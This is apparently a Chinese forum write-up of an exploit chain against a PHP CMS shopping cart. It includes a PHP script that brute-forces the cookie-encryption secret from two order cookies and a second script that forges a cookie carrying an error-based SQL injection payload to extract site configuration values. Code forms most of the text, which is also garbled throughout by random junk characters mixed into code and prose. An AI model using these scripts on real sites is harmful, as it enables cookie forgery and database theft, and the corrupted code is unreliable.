www.xxx.com/plus/search.php?keyword= o3 c4 W8 H V1 C+ ^1 Y
在 include/shopcar.class.php中
* d5 z5 F# G# Z7 _! y3 f% d$ d. R! c先看一下这个shopcar类是如何生成cookie的 u+ q% [ p- D
239 function saveCookie($key,$value)+ e- O( K+ A$ f7 W
240 {' `3 u8 g) i" |2 |% E. B+ H
241 if(is_array($value))" ~0 Z/ R( H1 \9 U8 l
242 {3 l3 k+ s% u( P
243 $value = $this->enCrypt($this->enCode($value));
- s5 B: c- i" ? P% o% e- `244 }
4 d: K, C; v/ d- ^2 `2 u p& j245 else
2 L! Z, g5 V9 @' ^1 \6 m* \2 v246 {1 I( J* f1 [( r) r, D
247 $value = $this->enCrypt($value);( X( N# o4 S, ~- A' T
248 }
; H, R: D4 R0 Z: t% w% l249 setcookie($key,$value,time()+36000,’/');9 }$ l$ U# Y$ k! y1 t7 f
250 }, [7 |! ~" t+ J
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
, G1 y1 n$ r& y3 c& m$ a% v g5 e186 function enCrypt($txt)
) T& m4 z; p$ K# X9 v0 p187 {
, l; B% U$ q- q: I0 J8 t188 srand((double)microtime() * 1000000);1 a/ ?! T8 ^& q; g( r9 N
189 $encrypt_key = md5(rand(0, 32000));' ?( \4 ]8 [9 M$ C! X
190 $ctr = 0; Z" W2 H* q, o7 Y! e7 P
191 $tmp = ”;
7 p- d" W4 x# J# Q) u* j4 D2 H+ w192 for($i = 0; $i < strlen($txt); $i++)
2 I& i" s% `* @! D/ B193 {8 _7 E G* W: }! O) l: n% r2 e
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;5 C: w/ p( C3 {1 k" `9 W
195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);9 w0 O1 E y/ j6 }; u) s. j
196 }
! k5 h4 y4 c5 B5 h9 ?197 return base64_encode($this->setKey($tmp));. }" h) S. Z, F# K: c1 k
198 }
7 x n# x' S* U% C2 M5 e213 function setKey($txt)- A2 F" P+ i4 k( T+ _+ i2 c& H1 Z
214 {
* v o0 [/ M7 k9 i: m215 global $cfg_cookie_encode;
& j& s+ g! P e( T) Q' P( O216 $encrypt_key = md5(strtolower($cfg_cookie_encode));
+ D) n* n! o2 _+ J+ ^2 f0 [217 $ctr = 0;
2 ?+ z; z* ~6 j* i218 $tmp = ”;
) M5 ]+ V" e* B! \219 for($i = 0; $i < strlen($txt); $i++)# r7 T N, X; C3 s! P* d% ?: ^) T
220 {
, z5 m- ^! l0 t+ y2 k221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
& Z8 U8 W1 u! q: L/ w+ |8 b222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
" o6 h: B$ Y: `9 ?223 }) x" J- l$ f- g9 a O- m
224 return $tmp; u# U1 c% U! Q
225 }% L3 F& X' A1 t9 p% n" j: N+ A
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
/ o$ }4 ]/ x, Z5 h然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
6 U5 F: V- c9 @ S, v% l& y具体代码如下:8 l6 P, h, c) N" \/ s2 {9 a/ X' U: d
<?php, n7 x% M r6 ~ K2 [$ u
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here D% d4 [1 j6 G+ M+ \
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here9 @6 E# \9 ~! t0 t" I
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
1 C5 T' h5 w! U8 v+ e* }function reStrCode($code,$string)
3 c/ k9 |2 S" R8 b! g1 a5 V{
) G$ G& }- H: n6 E$code = base64_decode($code);
; c/ G9 v5 W! r) {, n$key = “”;- Q% o$ Z' b3 L, j% _
for($i=0 ; $i<32 ; $i++)
2 _$ Y F9 M7 d{ E1 m5 H$ w' l" F+ y9 h
$key .= $string[$i] ^ $code[$i];- Z9 v \) b. h0 z& s6 ^* _* D
}
$ k' e# O; n, M" Z# m4 {" B) [$ dreturn $key;4 d! L% S) {, G7 |+ _6 I
}
+ a5 Q" P' L& T0 o A& N7 z8 V# Sfunction getKeys($cookie,$plantxt)3 k7 O# A v$ g! k% e3 f) k
{/ T' g7 f5 e7 d/ }5 A% w
$tmp = $cookie;9 } `# J# f! T9 q8 v
$results = array();
% k, ^$ F- ^& X$ h# dfor($j=0 ; $j < 32000; $j++)* c- g- g8 g* L; L* J
{+ F. N: k2 D7 u2 X' k
# c* A, Q7 `7 N. `4 |: a
$txt = $plantxt;
. Z/ ]- o& _* F1 `- D$ctr = 0;' y8 H& X. ^/ k2 @1 Z
$tmp = ”;
! L$ P/ ^5 [+ ~# ~3 D' t$encrypt_key = md5($j);
7 Y; N9 ^; U: S$ rfor($i =0; $i < strlen($txt); $i ++)$ b0 V! X0 y( g; o
{
' I) ?* }1 }- Q" h$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
+ \0 V" a; M0 P+ i) \$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]); c1 ]( _7 Z7 C6 p, r! B* u$ p1 g
}
, A; H9 C% ]& a# P( @8 O. q' j* I: {$string = $tmp;
( X! t/ ~; v. b" @; Q( k& a, D$code = $cookie;
. R4 g, P3 Q9 H1 \. O$result = reStrCode($code,$string);1 x# \# k% g- K r+ j: u
if(eregi(‘^[a-z0-9]+$’,$result))8 W9 P6 r# Z! J/ M0 a
{+ e7 f$ b( d6 z4 K: T1 n
echo $result.”\n”;
8 {! N2 ?- o+ _ u- h( Q: F! @* b$results[] = $result;, P, g. ^1 B' G3 r
}$ o: p' J1 k( L' @
}2 F4 z5 b! b, P- O, y
return $results;
5 n! A# s- M, B$ B7 D, X}! i$ g9 L2 W) H
$results1 = getKeys($cookie1,$plantxt);# ]& j% }0 j! f k$ Z8 [
$results2 = getKeys($cookie2,$plantxt);
! m3 d; Y. L, c" o9 t9 cprint “\n——————–real key————————–\n”;6 g6 m' } ~8 |* N# C5 U( ?& |
foreach($results1 as $test1)" F& t. n& B" c( h. c% s, D
{- l& G7 j+ z5 S
foreach($results2 as $test2)) G- T7 L0 [1 t1 n: c; ~7 @$ L
{
( ?# a! v/ A; H# M, l: @if($test1 == $test2)
" g. ?6 M9 |( q) Y D{
! @7 s; r& o! ?! P$ I* ~* s( kecho $test1.”\n”;. R) ?9 b8 d8 Z% y3 Y/ H
}
/ c0 K4 B: s- Q* e0 w# _3 G) A}
, X# j6 _3 E# j+ m# H9 }}
5 ^$ n2 M: `4 l' Y. H. J?>2 r0 z7 v- D0 e, r7 J6 y* h
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
& n$ n5 z) `5 W! A rplantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
( b, e5 m8 P+ H% X' G然后推算出md5(strtolower($cfg_cookie_encode))
' A) O z2 e X+ V9 l: m# e0 L* p得到这个key之后,我们就可以构造任意购物车的cookie. j) D- A% [. C' {
接着看+ ]& a( U1 d6 Z/ A n2 { k6 X
20 class MemberShops) M! Y1 o# n4 d) A* Z
21 {4 E3 W0 \8 A: X8 Z8 N
22 var $OrdersId;' Y3 E3 y; m7 n0 {
23 var $productsId;
- U o% W( B0 _+ X; z# Q; O E a4 P }0 D24
) F) Z8 |7 Y% T9 |4 C \25 function __construct()' S3 V0 @, \3 e7 r
26 {( w. j6 e. B7 f, u$ ~
27 $this->OrdersId = $this->getCookie(“OrdersId”);
$ t( H5 E! C5 ?2 e6 {28 if(empty($this->OrdersId))
, z9 V0 ?6 p* l! w29 {5 [5 A1 h; [+ b, g* E: X
30 $this->OrdersId = $this->MakeOrders();
# c( u3 g7 a2 e9 f2 U( Q! {/ ]1 \31 }
$ D$ w0 c; N, `, m- \0 N32 }1 N$ o3 i! \7 D
发现OrderId是从cookie里面获取的
* E5 b. q6 P0 G, ?) n然后
: `, |) A* c" R# u7 d' Q/plus/carbuyaction.php中的
( a0 q3 p. X$ x- v29 $cart = new MemberShops();
& V+ v0 l. \* r! i9 Q* f4 t9 r/ ^7 e39 $OrdersId = $cart->OrdersId; //本次记录的订单号! }5 _2 r4 L# ^6 y$ @8 x- e# k
……! b3 H; _& |0 `$ ~- {4 h9 ?
173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
! I g: K) T2 W* @9 a F( ?接着我们就可以注入了4 v& b4 G7 U' L5 l$ R8 r
通过利用下面代码生成cookie:
7 k5 J; }: s' r1 `# v$ @6 s% ?9 n# ?3 [<?php' ?. e. I2 C. X$ Y
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;- N* t, m! c2 t0 X' g
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here6 w8 Z, f+ f; Y7 X3 _
function setKey($txt)
, Q1 w* K8 Z% i+ i' s+ o K" N{: J( r. x+ ^) I! w% x: z
global $encrypt_key;
! |" i$ X- B4 O8 L2 B) w$ctr = 0;/ @% l. M7 ]* H# z2 G* |
$tmp = ”;; K! {% E, _" c9 n y/ Q+ W% I
for($i = 0; $i < strlen($txt); $i++)
8 B8 i% f5 c* M* B' V! A) Z{3 ]9 h. E% h/ P1 S
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
9 \. y1 S# y2 B/ I$ ?9 o9 I2 b3 U1 @$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
: y- g$ z8 R& Z4 |/ f}
/ N9 D4 Q+ ~8 Vreturn $tmp;
8 o! y( j; g. @9 l! O9 L}
' Q& Q/ ^7 N( r) y' n& Z1 tfunction enCrypt($txt)
% b2 x- m, a/ o r% z{
0 l( y3 z+ s! N( x" |. e# ]0 H$ b9 rsrand((double)microtime() * 1000000);. M, Y2 ^ f" i6 G$ F) c
$encrypt_key = md5(rand(0, 32000));
5 H6 q7 j8 Q# w) A/ @# i$ctr = 0;
1 t: T" B" A0 e1 Y( j; i1 O4 c4 T$tmp = ”;/ G3 G9 u& U# M& r ]
for($i = 0; $i < strlen($txt); $i++)
9 U# ]5 \+ L3 g{6 [4 i( K, S* R
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
! j0 r+ @& s6 v$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);" k' A% B; R- k
}
0 T$ v) Q0 a7 h$ ^( preturn base64_encode(setKey($tmp));* P+ o. @$ _% {. t2 O
}% l4 ?4 d$ d: x3 H! K9 Y: J
for($dest =0;$dest = enCrypt($txt);)( }5 m/ e% ~, p; Z3 E# J
{5 Q( T( C% U: U* `
if(!strpos($dest,’+'))
+ K) m ~, P2 N! T2 |1 f5 @{
1 S9 }4 x6 r. ~! L' ~1 N3 X2 cbreak;
" n% k+ A5 Q& M}8 T( ` S" k* ^( J9 j# u
}
a% w. c4 a7 Jecho $dest.”\n”;
5 l l: X0 \" ]$ t% g* X6 u?>
3 u) l6 H4 j! g) r7 t6 r7 x: b) T! a4 U. s+ p
|